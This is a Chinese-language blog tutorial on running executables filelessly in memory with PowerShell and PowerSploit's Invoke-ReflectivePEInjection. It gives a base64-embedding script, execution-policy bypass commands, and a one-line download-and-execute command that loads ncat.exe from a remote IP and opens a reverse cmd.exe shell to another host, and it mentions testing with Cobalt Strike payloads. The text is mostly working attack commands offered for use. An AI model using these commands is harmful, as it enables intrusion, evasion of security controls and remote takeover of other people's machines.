http://www.freebuf.com/articles/terminal/99631.html学习到的,并加上自己实验结论。

第一种姿势:把EXE转码成Base64编码

该法是把EXE转码成Base64编码然后写进ps1脚本里面,然后就直接运行ps1脚本就完事了。

要用到的ps1脚本名称是:Invoke-ReflectivePEInjection,它属于PowerSploit 项目的一部分,地址为:https://github.com/PowerShellMafia/PowerSploit,Invoke-ReflectivePEInjection下载地址为:https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1
这个脚本本身的话是通过下载一个EXE来加载的内存的,我们放在第二点细说。下载回来后,在文件末尾加入:

$InputString = 'Your Base64 Code'
# 将二进制字符串转为字节数组

$PEBytes = [System.Convert]::FromBase64String($InputString)

# 在内存中运行 EXE

# Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR

说明:Your Base64 Code是你的exe转成base64后的内容,Arg1 Arg2等这些是你的软件要加上的参数,自行变通,怎么把exe转成base64? 看下面。

EXE转成base64

把EXE转成base64的ps1脚本,当然,也可以把其他的任何文件转成base64,代码如下:

function Convert-BinaryToString {

   [CmdletBinding()] param (

      [string] $FilePath

   )

   try {

      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);

   }

   catch {

      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";

   }

   if ($ByteArray) {

      $Base64String = [System.Convert]::ToBase64String($ByteArray);

   }

   else {

      throw '$ByteArray is $null.';

   }

   Write-Output -InputObject $Base64String;

}

把上面的代码保存为exe2base64.ps1后,进行如下操作:

1. 通过powershell命令进入powershell后
2. . .\exe2base64.ps1 //加载脚本进内存,看清楚,是2个点,中间有个空格
3. Convert-BinaryToString C:\Users\hacker\Desktop\ncat.exe >.\ncat_base64.txt //把ncat.exe转换成base64并重定向到当前目录的ncat_base64.txt

得到Base64的代码后就吧代码粘贴到上面的Your Base64 Code处,修改好Arg2必要的参数就ok了,没有参数的话就不用管了。

运行脚本启动软件

最后是启动powershell来运行这个PS1脚本了。
先把说了,那就是这样加载某些软件的运行起来的时候会提示:
WARNING: PE is not compatible with DEP, might cause issues,网络专家提示遇到这样的情况可以用32bit的Powershell来运行,然而,老子本身就是用的32Bit的来运行的,所以换成64bit的?ok,换成64bit之后提示这个:

PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)
At C:\Users\www.google.com\Desktop\Invoke-ReflectivePEInjection.ps1:2396 char:4
+             Throw "PE platform doesn't match the architecture of the  ...
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : OperationStopped: (PE platform doe...d in (32/64bit):String) [], RuntimeException
    + FullyQualifiedErrorId : PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)

所以,我就R个Dj,我测试了用Coblat Strike的Windows Executable生成的Windows Exe是不能运行的,没有测试Windows Service Exe及其他的。

所以到底怎么启动?
答:powershell -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps1

补充:如果出问题,就换成32bit的powershell来启动,或者换成64bit的powershell来启动,具体在文末。

第二种:一条命令搞定

%windir%\syswow64\windowspowershell\v1.0\powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerSploit/master/CodeExecution/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.11.22.4/ncat.exe -ExeArgs '"-e c:\Windows\System32\cmd.exe 192.11.22.13 88"' -ForceASLR"

说明:因为我下载的是NCat.exe,用32bit的不能启动,所以就用64bit的了。我测试的时候,正常运行也会爆出一些错误代码。

补充:

32bit的Powershell:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
64bit的Powershell:C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
如果你想换成powershell2.0 3.0修改相信目录即可。

使用案例补充:https://04z.net/2018/01/14/Powershell-Load-Exe-Into-Memory/

如果你有万全的姿势,可以告诉我呢,么么哒!

2 Replies to “Powershell加载EXE进内存运行”

  1. ”powershell -ExecutionPolicy Bypass -File Invoke-ReflectivePEInjection.ps1“跟原文的有什么区别吗?

发表评论

电子邮件地址不会被公开。 必填项已用*标注